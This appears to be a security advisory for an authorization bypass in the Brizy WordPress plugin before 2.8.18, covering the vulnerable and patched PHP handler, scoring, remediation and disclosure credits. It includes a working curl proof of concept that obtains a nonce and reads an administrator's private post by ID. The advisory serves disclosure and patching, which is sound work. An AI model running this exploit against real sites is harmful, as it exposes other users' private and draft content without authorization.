- Product
- Brizy (WordPress plugin)
- Versions
- Before 2.8.18 · fixed in 2.8.18
- Severity
- LowCVSS score 3.1 · WPScan
- CVE
- CVE-2026-14195, assigned by WPScan
- Found by
- Mustafa Ahmed, Fortress MSSP
- Published
- November 11, 2026CVE published by WPScan on August 1, 2026
Description
The Brizy WordPress plugin before 2.8.18 does not properly verify authorization on a request handler before returning post content, allowing users with the Contributor role or higher to read the content of arbitrary posts, including other users' private, pending, and draft posts.
From the CVE record · CWE-639 Authorization Bypass Through User-Controlled Key
Technical analysis
get_post_info() relies on verifyAuthorization(self::nonce) and then loads whichever post the post_id request parameter names with get_post(), returning its ID, post_title and post_content. The handler never checks whether the current user may access that specific post, so the post's author and status play no part in the decision.
public function get_post_info()
{
try {
$this->verifyAuthorization(self::nonce);
$postId = (int)$this->param('post_id');
$defaultFields = ['ID', 'post_title', 'post_content'];
$post_fields = array_intersect((array)$this->param('fields'), $defaultFields);
if (count($post_fields) == 0) {
$post_fields = $defaultFields;
}
if (!$postId) {
$this->error(400, 'Invalid post id');
}
$post = get_post($postId, ARRAY_A);
if (!$post) {
$this->error(404, 'Invalid post id');
}
$data = array_intersect_key($post, array_flip($defaultFields));
$this->success($data);
2.8.18 calls Brizy_Editor_User::is_user_allowed($postId) on the requested post_id before get_post() and returns a 403 if it fails. A missing post now returns the same 403 message.
$this->verifyAuthorization(self::nonce);
$postId = (int)$this->param('post_id'); // todo: change this to 'post'
$defaultFields = ['ID', 'post_title', 'post_content'];
$post_fields = array_intersect((array)$this->param('fields'), $defaultFields);
if (count($post_fields) == 0) {
$post_fields = $defaultFields;
}
if (!$postId) {
$this->error(400, 'Invalid post id');
}
if (!Brizy_Editor_User::is_user_allowed($postId)) {
$this->error(403, 'You are not allowed to access this post');
}
$post = get_post($postId, ARRAY_A);
if (!$post) {
$this->error(403, 'You are not allowed to access this post');
}
$data = array_intersect_key($post, array_flip($defaultFields));
$this->success($data);
Fortress’s reading of the public source code at the versions shown.
Proof of concept
As published by WPScan in its advisory on July 20, 2026.
Prerequisites: a Contributor account (no Brizy content required). Victim: an Administrator with a private or draft post (id 5 below) containing non-public content.
# Run as the Contributor (session cookies saved in $JAR). BASE = target site URL.
BASE="https://victim.example"; AJAX="$BASE/wp-admin/admin-ajax.php"
# 1) Obtain a valid brizy-api nonce (the plugin hands one to any logged-in user):
NONCE=$(curl -sk -b "$JAR" "$AJAX" -d 'action=brizy_heartbeat&hash=invalid' | jq -r '.data.hash')
# 2) Read an Administrator's private post body by id (note: no 'post' param is sent):
curl -sk -b "$JAR" "$AJAX" \
--data-urlencode "action=brizy_get_post_info" \
--data-urlencode "post_id=5" \
--data-urlencode "version=365-wp" \
--data-urlencode "hash=$NONCE"
# Expected: {"success":true,"data":{"ID":5,"post_title":"...","post_content":"...private content..."}}
Negative control: as the same Contributor, GET /wp-json/wp/v2/posts/5 returns 401, and sending the target id in the checked 'post' parameter is denied ("You are not allowed to edit this post"), confirming the authorization gate operates on a different parameter than the one used to load the post.
Note: 'version' is a public per-release editor constant (358-wp for 2.8.12, 365-wp for 2.8.17).Severity
WPScan rates it 3.1 (low). CISA’s ADP scores it 2.7 (low) in the CVE record.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:NCISA ADP
Remediation
Update Brizy Page Builder to 2.8.18 or later.
Disclosure timeline
- CVE ID reserved by WPScan.
- Fix committed to the plugin repository (r3610014).
- Version 2.8.18 released.
- WPScan advisory published.
- CVE published by WPScan.
- Published on this site.
Credit
Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.
WPScan's advisory lists Mustafa Ahmed as original researcher and submitter, with fortressmssp.com as the submitter's website.